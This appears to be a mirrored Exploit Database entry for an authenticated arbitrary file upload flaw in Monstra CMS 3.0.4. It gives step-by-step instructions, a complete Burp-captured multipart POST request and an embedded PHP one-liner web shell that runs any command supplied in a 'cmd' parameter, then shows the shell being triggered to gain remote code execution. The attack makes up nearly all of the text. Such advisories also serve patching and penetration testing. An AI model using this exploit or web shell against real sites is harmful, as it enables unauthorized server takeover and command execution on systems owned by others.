Monstra CMS 3.0.4 – Authenticated Arbitrary File Upload

• Exploit Database
• 106 阅读

• 作者： Kishan Lal Choudhary
  日期： 2020-05-18
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48479/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59

  # Exploit Title: Monstra CMS 3.0.4 - Authenticated Arbitrary File Upload # Google Dork: N/A # Date: 2020-05-18 # Exploit Author: Kishan Lal Choudhary # Vendor Homepage: https://monstra.org # Software Link: https://bitbucket.org/awilum/monstra/downloads/monstra-3.0.4.zip # Version: 3.0.4 # Tested on: Ubuntu       1. Goto: http://192.168.2.5/monstra/admin/index.php?id=filesmanager&path=uploads/   2. Upload a one liner shell with php7 extenstion ie: shell.php7   #burp request ------------------------------------EOF----------------------------------------------------- POST /monstra/admin/index.php?id=filesmanager HTTP/1.1 Host: 192.168.2.5 Content-Length: 548 Cache-Control: max-age=0 Origin: http://192.168.2.5 Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytRfyCkYq8NvztDBf User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.2.5/monstra/admin/index.php?id=filesmanager Accept-Encoding: gzip, deflate Accept-Language: en-GB,en;q=0.9,en-US;q=0.8,fr;q=0.7 Cookie: PHPSESSID=eej6e0lqi191k2frqc2hl3v6d0; _ga=GA1.1.405623579.1579949328; _gid=GA1.1.2042923722.1579949328 Connection: close   ------WebKitFormBoundarytRfyCkYq8NvztDBf Content-Disposition: form-data; name="csrf"   2e6ae2353998caa319aae262b113c6b3f17a9636 ------WebKitFormBoundarytRfyCkYq8NvztDBf Content-Disposition: form-data; name="file"; filename="shell.php7" Content-Type: application/octet-stream   <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>     ------WebKitFormBoundarytRfyCkYq8NvztDBf Content-Disposition: form-data; name="upload_file"   Upload ------WebKitFormBoundarytRfyCkYq8NvztDBf--   ------------------------------------EOF-----------------------------------------------------     3. trigger your shell by visiting http://192.168.2.5/monstra/public/uploads/shell.php7?cmd=id         We have successfully got Remote Code execution